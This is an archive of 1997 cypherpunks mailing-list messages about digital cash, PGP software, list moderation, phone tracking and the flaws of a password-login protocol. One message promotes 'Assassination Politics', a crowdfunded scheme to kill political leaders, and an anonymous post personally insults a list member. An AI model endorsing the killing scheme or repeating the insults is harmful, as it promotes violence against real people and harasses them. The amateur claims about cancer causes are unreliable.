From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 11:54:12 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <199701182105.NAA13618@netcom10.netcom.com>
Message-ID: <3.0.1.32.19970126115211.005b4fd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:05 PM 1/18/97 -0800, Vladimir Z. Nuri wrote:
>I predict that microcurrency will not catch on in a big way
>until it is integrated with browsers, and when it is, it
.....
>the idea would also be to invent some new html tags that
>indicate the charge on a link. the charge is incurred when
.....
>of time before some enterprising programmers plug it all
>together in an easy to use way. (as far as I know the
>Digicash software is not easily integrated with any browser,
>am I correct?)

The Digicash software wasn't terribly easy to integrate with _anything_,
but folks like Lucky Green have been banging on them to define and
release their interface specs, and there's a library called -lucre
that will do the Digicash functions.  A few months ago, Ian 
demonstrated a Digicash-compatible plugin at one of our Bay Area
cypherpunks meetings (with blinding removed for patent reasons.)

I don't know about BorgBrowser, but with Netscape, you can implement
non-built-in features as either a plug-in or as a helper application;
no need to mess with the HTML spec in yet another browser-specific manner.

You can also wedge things in using cookies (though their are non-cookie-aware
browsers and people who turn their browsers off) which could work well for
lower-security microcurrencies.  For instance, connecting to 
http://newspaper.com/cookie-store.html could take your credit card with SSL
and give you a cookie with 100 or 1000 credits using some S/Key-like
mechanism,
and each time you read a news page it would decrement by one.  To avoid
fraud (people resetting their cookie files) the newspaper would have to
track cookie use, but they may be tracking who's reading what anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 26 Jan 1997 12:32:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
In-Reply-To: <199701261710.JAA18785@toad.com>
Message-ID: <Pine.GSO.3.95.970126122416.9761A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



It really does rock.  I owned Eudora 3 already, but if I didn't I would
purchase it for using PGPmail alone.

Another great feature of PGPmail is that it adds PGP functionality to the
Windows Explorer.  When you right-click on a file in Windows, a PGP
submenu is added to the normal right-click menu, allowing you to encrypt,
decrypt, etc. 

This product really has the ease of use that is needed to get PGP more
into the mainstream.  Like Duncan, I found it very easy to incorporate my
existing keyrings.  I'm very impressed.

I haven't tried it with NT 4.0 yet, and don't know how well it works.  I
run the same copy of Eudora with 95 and NT, so I'm assuming it will be
fine...


Rich

_______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb/
See my Blue Ribbon Page at http://www.teleport.com/~richieb/blueribbon/
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 26 Jan 1997 11:52:41 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701251011.CAA23822@toad.com>
Message-ID: <Pine.BSF.3.91.970126133331.6251B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Regardless of which side you take on this matter, remember that the issue 
was forced by the actions of an extremely small segment of the list 
"population." 

The decision of that small segment to excercise its rights "in extreme" 
passed the tolerance thresholds of increasing numbers of list members, 
and the end result was a "restriction" adopted/elected/forced-on (colour 
it however you chose) on the entire "population."

"Rights" are derived from social responsibility; its either that, or the 
"law of the jungle."

-r.w.


On Fri, 24 Jan 1997, Dale Thorn wrote:

> Cynthia H. Brown wrote:
> > Beauty, flames and censorship are all in the eyes of the beholder.
> > However, by providing both "raw" and "cooked" versions of the list, Sandy

<SNIP>

> I apologize for intruding, Cynthia, but I have a question about "doing
> as s/he sees fit".  For example, what is the list?  Is it the equipment,
> is it the software that runs on the equipment, or is it the contents of
> the list (my writings, your writings, etc.)?  If I had to rank them, I
> would rank the contents as being more important than the equipment or
> the software.  That said, how can those contents be considered the
> property of the list owner/manager to do with as they see fit?
> 
> I do understand that they have the right to manage the list as they see
> fit, and to move the messages into whatever buckets seem appropriate,
> but your phrasing suggested more to me, and I'm puzzled by it.
> 
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 13:47:38 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0B90.0B78E600@king2-16.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Dr.Dimitri Vulis

However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
not be permitted on the 'net. It also bombs Iraq and murders their 
civilians
in retaliation for something their governments supposedly did.
................................................................


The U.S.G. has many more resources than most of us to do these things, 
including equipment, cooperative troops, money, and recognition from other 
governments.   If other nations disagree with the U.S.G. they have the 
resources to discuss, bargain, negotiate, criticize, form alliances, take 
their chances and retaliate, etc.

These things are done on a level not accessible to the most of us.  All 
that we individuals have are access to telephone lines, computers, and 
modems.   Yet even as we speak the world is being "wired" with cables to 
further make this singular communication possible and open up avenues to 
non-government organized activities:   international corporations are se  
tting up offices, services, and correspondence wherever in the world they 
can find markets.   All this is happening even while the governments are 
complaining to each other about what their citizens are posting (tch, tch) 
and threatening to deprive each other of that privilege.

While governments and their True Believer citizens are dealing with each 
other on one level, the rest of the world is reorganizing itself into a 
different order of living and doing business.   They are sharing ideas and 
examining their concepts and beliefs, they are conducting a lot of their 
disagreements on the net (instead of physically against each other on the 
ground), opening up to a broader view of relationships between individuals, 
or to governments, or to religions, sexuality, etc.

The situation hasn't completely changed yet,  but it is in process.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Sun, 26 Jan 1997 10:50:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor
Message-ID: <3.0.32.19970126134828.006ae6f4@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


Watch out for the Goodtimes Virus

Goodtimes will re-write your hard drive, scramble any disks that are even
close to your computer, recalibrate your refrigerator's coolness setting so
all your ice cream goes melty,demagnetize the strips on all your credit cards,
screw up the tracking on your television and use subspace field harmonics 
to scratch any CD's you try to play.

It will give your ex-girlfriend your new phone number. It will mix
Kool-aid into your fishtank.  It will drink all your beer and leave
its socks out on the coffee table when there's company coming over.
It will put a dead kitten in the back pocket of your good suit pants
and hide your car keys when you are late for work.

Goodtimes will make you fall in love with a penguin.  It will give you
nightmares about circus midgets.  It will pour sugar in your gas tank
and shave off both your eyebrows while dating your current boyfriend
behind your back and billing the dinner and hotel room to your Visa
card.

It will seduce your grandmother.  It does not matter if she is dead,
such is the power of Goodtimes, it reaches out beyond the grave to
sully those things we hold most dear.

It moves your car randomly around parking lots so you can't find it.
It will kick your dog.  It will leave libidinous messages on your
boss's voice mail in your voice!  It is insidious and subtle. It is
dangerous and terrifying to behold.  It is also a rather interesting
shade of mauve.

Goodtimes will give you Dutch Elm disease.  It will leave the toilet
seat up.  It will make a batch of Methamphetamine in your bathtub and
then leave bacon cooking on the stove while it goes out to chase
gradeschoolers with your new snowblower.

These are just a few signs...  Just be very careful!

CI




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 10:55:44 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <uB951D49w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970126135416.18808A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > Dr.Dimitri Vulis KOTM wrote:
> > > Toto <toto@sk.sympatico.ca> writes:
> > > > paul@fatmans.demon.co.uk wrote:
> >
> > > >   It became rather glaringly obvious after moderation was announced
> > > > that class structure would be the defining feature of moderation.
> > > >   Those who felt themselves to be in the 'upper class' made no
> > > > bones about it.
> > >
> > > That's a very insightful obeservation.
> >
> >   Obese-rvation? I hope you are not assuming that I am obese, just
> > because I am responding to a post originating from
> > 'fatmans.demon.co.uk.'
> >   I would hate to become relegated to the upcoming cypherpunks-fatpeople
> > list because of assumptions of this nature.
> 
> It was obviously a typo - my apologies to Toto.
> (Interestingly, Herr Moderatorfuehrer has tossed my article Toto replied to
> into cypherpunks-flames, while posting Toto's response to the censored list.)

	Those jerks...!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Sun, 26 Jan 1997 11:05:52 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701261710.JAA18727@toad.com>
Message-ID: <199701261905.OAA21691@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain



Proving a crack with revealing how is trivial.
Someone sends Paul cyphertext; he returns clear.

Proving the opposite without posting the code is a joke.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 26 Jan 1997 12:15:50 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: Cellular phone triangulation
In-Reply-To: <199701260710.XAA10387@toad.com>
Message-ID: <199701262032.OAA01584@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


>   Our prisons are overflowing with drug dealers and drug users who were
> put there by quite ordinary means which didn't involve violating or
> discarding the rights of the ordinary citizen.  Yet we keep hearing

    Wanna bet? 

> do so.
>   Not to mention larger and larger amounts of money.
>   But, maybe if you became a 'drug dealer'...

    I'd rather become an "arms dealer".
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 26 Jan 1997 12:30:58 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260656.WAA10210@toad.com>
Message-ID: <199701262048.OAA01617@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> > getting this degenerate disease when they get older.  Check out the
> > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > One quote:  "My soil after a few years was like asbestos".
> As far as I understand, 1) no one really understands why cancer rates
> are up so much and 2) since people live longer, they are more likely do
> have cancer.

   While I don't claim to to be a Medical Researcher, I think that 1) should
be reworded to be "No one is willing to _admit_ why cancer rates are up so
much". You (generic) can look at certain population groups where there is 
low incidence(sp?) of cancer, and then look at our society and it becomes
pretty obvious. 

   Breast Cancer is exteremely rare in japenese women living in Japan. Thes
same women <excuse me while I light a cigerate> move to the US, start living
like American start developing breast cancer at a rate very similar to that
of American born women. 

   IMO the biggest reason that "no one really understands why cancer rates are
up..." is that "they" are looking for the single bullet when reality isn't 
usually that simple. 

   I would be willing to make a bet that if you could get a large population
group to do the following, you would see a large statistical reduction in the 
incidence(sp?) of cancer.

	1) Eat a lot of fruits, vegetables & breads and cerials. Stay away from
large quantities of meat. Try to reduce your fat intake to under 20 grams a 
day (USDA recommends around 40) 

        2) Exercise regularly. Ride a bike or walk/run to work. 

	3) Avoid excess in all things. 

> What you said is one of the hypotheses. I personally feel that
> environment and bad greasy food are other major contributors.
> The way they cook all these fries, with overheated grease, is very
> bad.

     BINGO!. 

     Sorry, gotta go, it's dinner time and McD's is calling...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 14:54:11 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Hi again, and an invitation to kibitz
In-Reply-To: <199701180202.VAA11013@beast.brainlink.com>
Message-ID: <3.0.1.32.19970126145141.005b4068@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In addition to David Wagner's comments, I'd like to point out
several more weaknesses.
- Would Kerberos work just as well?  No sense reinventing the 3-headed dog.
- You're not authenticating the server to the client.
- If the challenge is different every time, the server needs to 
  keep the user's password in plaintext (unlike Unix encrypted passwords.)
  This means that attacks on the server's file system can steal it,
  and since the password is used for session encryption, it can be
  used to forge sessions as well.
- Alternatively, if the challenge is always the same (per user),
  then even one eavesdrop kills you, as with Unix passwords.
- Since you're using the same 7-byte password hash for the
  first third of the authentication as for the session key,
  the dictionary attack on E(challenge, First-seven-bytes)
  gives you the session key, so you can eavesdrop just fine.
  If the password is too short, you can then dictionary-attack MD4
  to find it also.

- There's a Diffie-Hellman variant that can do logins.  
  Unfortunately, it's patented (by some guy from Siemens in Paderborn DE, 
  who patented it in Germany about 2 years before I rediscovered it, 
  and patented it in the US about 6 months before :-)  
  It covers any login methods using commutative hashes H1(H2(x)) == H2(H1(x)).
  The Siemens version extends it to authenticate both ends to each other;
  I extended it to get a session key for encryption and/or authentication.
  This really shouldn't have been patentable - my rediscovery shows that
  it must be pretty obvious to anyone skilled in the trade :-), and rather
  than reinventing the wheel, I was reinventing the hubcap or tire swing....

> In article <199701140755.CAA04514@mail.intercon.com>,
>Amanda Walker <amanda@intercon.com> wrote:
>> (a) Server sends 8-byte challenge to client
>> (b) Client sends Microsoft NT authentication response to the server
>>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>>     the challenge three times, send the 24-byte result as the response).
>> (c) If authentication fails, close the connection.
>> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>>     DES in CFB mode.  Until April :), the DES key used is taken from the
>>     first 7 bytes of the MD4 hash of the password (after April, we expect
>>     to switch to Diffie-Hellman key exchange first, followed by a revised
>>     authentication handshake).
>
At 11:20 AM 1/17/97 -0800, David Wagner wrote:
>Some weaknesses:
>- It doesn't resist dictionary attacks (no salt) when the attacker can make
>    one active probe (forge a fixed challenge and get the client's response).

In particular, an 8 byte challenge is nowhere near enough, though the 
average million-dollar DES-cracker won't be as easy to adapt for 2**64 
cycles of hash+DES*3 - and don't handle each third separately!
At least do something like 3DES-EDE and return an 8-byte response,
or hash the three output bytes together and send the hash.
Using >=16 bytes of challenge would be better, or >=24 if you 
want printable challenges.

>- It doesn't stop replay attacks (replay a fixed challenge, now the same DES
>    key is used, so replay DES-encrypted session data).

You may not be able to replay a given challenge usefully, assuming it's
different each time, but MITM attacks work ok after you've cracked the
password by dictionary attack in the previous round.

>- DES-encryption doesn't provide message authentication against active
>    attacks; use a MAC too.
>- You should use independent DES keys for each direction of the connection.
>- Also the DES encryption key doesn't change for each connection.  It should.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 13:30:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SOL.3.93.970126135416.18808A-100000@pegasus.montclair.edu>
Message-ID: <57m61D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sun, 26 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Toto <toto@sk.sympatico.ca> writes:
> > > Dr.Dimitri Vulis KOTM wrote:
> > > > Toto <toto@sk.sympatico.ca> writes:
> > > > > paul@fatmans.demon.co.uk wrote:
> > >
> > > > >   It became rather glaringly obvious after moderation was announced
> > > > > that class structure would be the defining feature of moderation.
> > > > >   Those who felt themselves to be in the 'upper class' made no
> > > > > bones about it.
> > > >
> > > > That's a very insightful obeservation.
> > >
> > >   Obese-rvation? I hope you are not assuming that I am obese, just
> > > because I am responding to a post originating from
> > > 'fatmans.demon.co.uk.'
> > >   I would hate to become relegated to the upcoming cypherpunks-fatpeople
> > > list because of assumptions of this nature.
> > 
> > It was obviously a typo - my apologies to Toto.
> > (Interestingly, Herr Moderatorfuehrer has tossed my article Toto replied to
> > into cypherpunks-flames, while posting Toto's response to the censored list
> 
> 	Those jerks...!
> 

Interestingly, my apologies were also cast to cypherpunks-flames.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 13:32:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
In-Reply-To: <3.0.1.32.19970126111938.0065b868@popd.ix.netcom.com>
Message-ID: <BaN61D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 11:45 AM 1/26/97 -0500, Duncan Frissell wrote:
> >Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
> >http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and 
> >Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at:
> http://www.eudora.com/prodemo/.
> 
> PGPmail 4.5 now has beta 10 available - the download is smaller than beta 9.
> 
> Eudora Lite 3.0.1 also supports plugins, so it should work.
> It also supports filters, which has allowed probable flames to
> quietly vanish from my inbox :-)
> 
> BTW, from a non-government-user perspective, the questions asked to establish
> export permission are nicely worded.  Rather than asking
> "Are you a US Subject", and "Do you agree to follow every vague
> detail of the Export Laws", as some sites do, it asks
> > - Is the requesting computer located within the United States? [N/Y]
> > - Do you acknowledge affirmatively that you understand that PGPmail is 
> > subject to export controls under the Export Administration Act and 
> > that you cannot export the software without a license? [N/Y]
> > - Do you certify that you are not on any of the United States Government's 
> > lists of export-precluded parties or otherwise ineligible to receive this 
> > transfer of cryptographic software subject to export controls under the 
> > Export Administration Act? 
> and then has a button saying 
> 	"I certify that the above answers are truthful",
> which is flexible enough that I don't have to feel bad about not being
> _absolutely_ certain that my packets aren't getting routed through Canada,
> or that I'm not on some list that bans telephone company employees from 
> downloading cryptographic software on Tuesdays, or whether 
> computers 30 feet above the US are subject to this week's export rules :-),
> or having to say "No" to Question 2 because I understand that you _can_
> export this software without a license (just do it) even though the Feds
> disapprove....
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

It doesn't seem to work with the mail program in MS IE, or MS WordMail.
I understand why some people don't like Microsoft, but excluding
support for popular Microsoft programs seems contrary to their
stated goal of promoting the use of crypto.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 26 Jan 1997 12:11:25 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: Re: Cellular phone triangulation
In-Reply-To: <199701260710.XAA10387@toad.com>
Message-ID: <Pine.LNX.3.95.970126145412.774A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 25 Jan 1997, Toto wrote:

>   So far, as a result of the plethora of laws passed to enable law
> enforcement agencies to 'catch drug dealers', I have seen only a
> few minor criminals who are claimed to have been brought to justice
> as a result of these laws, while seeing documentation of hundreds
> and thousands of ordinary citizens being harassed and having their
> human rights violated by these same laws.
>   And still, we have people like Mark, who seem relatively intelligent
> and informed but who still echo the party-line of Big Brother when
> He proclaims that the average citizen must be subjected to new and
> better ways to monitor the movements and activities of His citizens
> in order to 'protect' them from 'drug dealers'.

Somehow, I thought my original post was ambiguous enough to be interpreted as
support for the government's expansion of surveillance capabilities or the War
on Some Drugs.  Nothing could be further from the truth.  I believe that the
original intention of requiring cell phone providers to have the ability to
triangulate all the signals they receive was so that drug dealers and other
Enemies of the People could be caught easier.  Since, drug dealers frequently
use cell phones to avoid tracking, I thought that this was probably the primary
justification.

Just like the current GAK proposal, the government has found another way to
justify a proposal to fool people into thinking that it's really for their own
good.  Many people have grown tired of hearing about the government's
"compelling interest" in fighting "crime."  The government claims that GAK is
not only for violating people's rights by trying to get people to believe that
it is a valuable service because it will allow people to recover their crypto
keys if they ever lose them.  In the case of the cell phone proposal, the
promise of better 911 service is used to justify this latest violation of civil
rights.


Mark
-----BEGIN PGP SIGNATURE-----
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Charset: noconv

iQEVAwUBMuu7UizIPc7jvyFpAQG55gf6ApVENBJJEIQ+9xKs/9ldaSRbDvemI1DY
Q0MyPkuOHo4e97i3dMYFk42Jb+OA+O0Q0kdsxRV0Y2i26GxTvC362+f/xI2+dTly
YvyhPwgUyztfVC+IrjQgpuvqOMWthqdBrkZR7cJAs7KQG49CiWMAVcmCmQGUWJU/
mv2TRHAw3GT0NYIqF5FhTFAEoXcPZAjuEHP1pYPOPJ1zjrUkp6adcK2khgFHKwYp
L8Pc9YLTJ/VNuw1n02PcfnitzPfgQIdhQVJAxwRClCxyifBKzQW1BtcMKyPhoxHY
roTqotTzpIROBJVGZStx99mEscYG3KJCymDp6zqEfC78WWcUhoMMYg==
=N8mn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 26 Jan 1997 14:28:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Elliptic curves
Message-ID: <199701262229.PAA19532@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's family tree goes straight up. 
All of his ancestors were siblings, to dumb to 
recognize each other in the dark.

       _  O     O  _
        \-|-\_/-|-/  Timmy C[reep] May
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 16:41:59 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701270041.QAA19356@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:54 PM 1/25/97 -0500, Mark M. wrote:

>I wonder how expensive it would be to put a GPS receiver in a cell phone and
>have the option to transmit the coordinates on a separate channel.  There
>would be little difference between this and forcing cell phone companies to
>triangulate every call.  The primary motivation for this is almost certainly
>"location escrow" to make it easier for the feds to track drug dealers.

It would only be marginally reliable.  GPS signals are so weak (coming from 
satellites in 11,000 mile orbits) that reception outdoors is sometimes iffy 
if the signals have to go through foliage.  Reception indoors is probably 
only rarely do-able.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 17:14:25 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <01BC0BAC.ED2F1EE0@king2-16.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Jim Choate

blanc has put forth an interesting assertion relating to nationalism and 
the
Internet. If he is correct then we will have a one world government (ie
technocracy) whether we like it or not.
...................................................................


When your little company grows up to become a big World Leader in robotics, 
will you then be a member of this technocracy, participating in a one-world 
government, whether we like it or not?   Will you sit on the Board of 
Honchos making important decisions about net access for all, perhaps active 
in the Chamber of Borgs?

:>)
    ..
Blanc
p.s.   I be femme

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 17:00:49 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701270100.RAA21027@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:30 AM 1/26/97 EST, Dr.Dimitri Vulis KOTM wrote:
>blanc <blancw@cnw.com> writes:

>> The identifications of self as a citizen who must be identified with the
>> vote of a majority, and consequently suffer the perception of oneself as
>> someone who "voted to accept restrictions of the net, therefore should not
>> be helped against it", is becoming irrelevant.   When a distress call goes
>> out from someone anywhere on the planet, the assistance and relief may come
>> from anyone anywhere who chooses to rally others and provide assistance.
>>
>> It is not the traditional "we" against "them", and it is not the "citizens
>> of the US" helping those who "voted themselves a Hitler into power" or
>> "voted themselves into restrictions against free speech".   It is "those of
>> us who appreciate the liberty in communications technology" against "those
>> who would take it away".
>
>However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
>not be permitted on the 'net. It also bombs Iraq and murders their civilians
>in retaliation for something their governments supposedly did.

"I have a solution to that problem."

Seriously!  

Look, I've proposed what I consider to be a remarkably consistent method to 
prevent the kind of political tyranny that you criticize, and I don't see 
any recognition of this fact.  

For the benefit of the masses, the AP ("Assassination Politics") solution 
to, for example, the Iraq problem would be to allow anyone and everyone in 
the world to donate money towards the death of Saddam Hussein, and any 
leadership which survives him, until that leadership satisfies the public 
that they won't be following in Hussein's footsteps.  Simple.  Economical.  
And, dare I say it, fair.

I believe that the Coalition spent $60 BILLION dollars doing the Iraq war, 
and they didn't even get rid of Saddam.  I'm sure AP would have done the 
task for under $100 million, and possibly far less. (and that money would 
have been collected by donation, not stolen in taxes.  Much of that money 
would have come from the Iraqi people themselves, BTW.)

 There would be few if any civilian casualities, no hunger or poverty caused 
among the people.  Even their soldiers would be relatively unaffected, 
except that their militaries (as well as ours) would be disbanded.

Reminds me of the punchline to that joke.

"He sent two boats and a helicopter!  What more did you want?!?"




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 14:00:54 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701262048.OAA01617@smoke.suba.com>
Message-ID: <Pine.SOL.3.93.970126165515.22420A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, snow wrote:

> > > getting this degenerate disease when they get older.  Check out the
> > > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > > One quote:  "My soil after a few years was like asbestos".
> > As far as I understand, 1) no one really understands why cancer rates
> > are up so much and 2) since people live longer, they are more likely do
> > have cancer.
> 
>    While I don't claim to to be a Medical Researcher, I think that 1) should
> be reworded to be "No one is willing to _admit_ why cancer rates are up so
> much". You (generic) can look at certain population groups where there is 
> low incidence(sp?) of cancer, and then look at our society and it becomes
> pretty obvious. 
> 
>    Breast Cancer is exteremely rare in japenese women living in Japan. Thes
> same women <excuse me while I light a cigerate> move to the US, start living
> like American start developing breast cancer at a rate very similar to that
> of American born women. 

	lack of olive oil intake?? i head that olive oil is esp. necessary
	for women, as well as milk.

> 
>    IMO the biggest reason that "no one really understands why cancer rates are
> up..." is that "they" are looking for the single bullet when reality isn't 
> usually that simple. 
> 
>    I would be willing to make a bet that if you could get a large population
> group to do the following, you would see a large statistical reduction in the 
> incidence(sp?) of cancer.
> 
> 	1) Eat a lot of fruits, vegetables & breads and cerials. Stay away from
> large quantities of meat. Try to reduce your fat intake to under 20 grams a 
> day (USDA recommends around 40) 
> 
>         2) Exercise regularly. Ride a bike or walk/run to work. 

	i think it's good also to exercise outdoors as well as your
	indoor nordictrack machines..sun and air is esp. necessary;
 
> 	3) Avoid excess in all things. 

	even chocolate? :)
 
> > What you said is one of the hypotheses. I personally feel that
> > environment and bad greasy food are other major contributors.
> > The way they cook all these fries, with overheated grease, is very
> > bad.
> 
>      BINGO!. 

	EAt well, and smile too ;)

> 
>      Sorry, gotta go, it's dinner time and McD's is calling...

	a good laugh goes a long way ... ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 26 Jan 1997 17:00:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) Just Say No to Telcom "Reform"
Message-ID: <199701270100.RAA01704@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


Thought this might interest you guys.


------- Forwarded Message Follows -------
Date:          Sun, 26 Jan 1997 13:00:14 -0800 (PST)
From:          Audrie Krause <akrause@igc.apc.org>
Subject:       Just Say No to Telcom "Reform"
To:            iaj-futuremedia@igc.apc.org

* * * * * * * * * * * * * * * * * * * * * * * * * 
ACTION ALERT     Please re-post where appropriate
* * * * * * * * * * * * * * * * * * * * * * * * *

Dear Friends,

On February 8, the first anniversary of the Telecommunications Reform
Act of 1996, NetAction and the Center for Educational Priorities are
launching a month-long Internet demonstration to call attention to the
wide gap between the rhetoric and reality of this sweeping
legislation.  

President Clinton and Congress promised the American people that
enactment of the Telecommunications Reform Act would lead to a
cornucopia of technological innovations that would change the nation's
cultural frontiers, expand our choices, dazzle our eyes, and inform
our minds.  Instead, we've been censored in cyberspace, subjected to
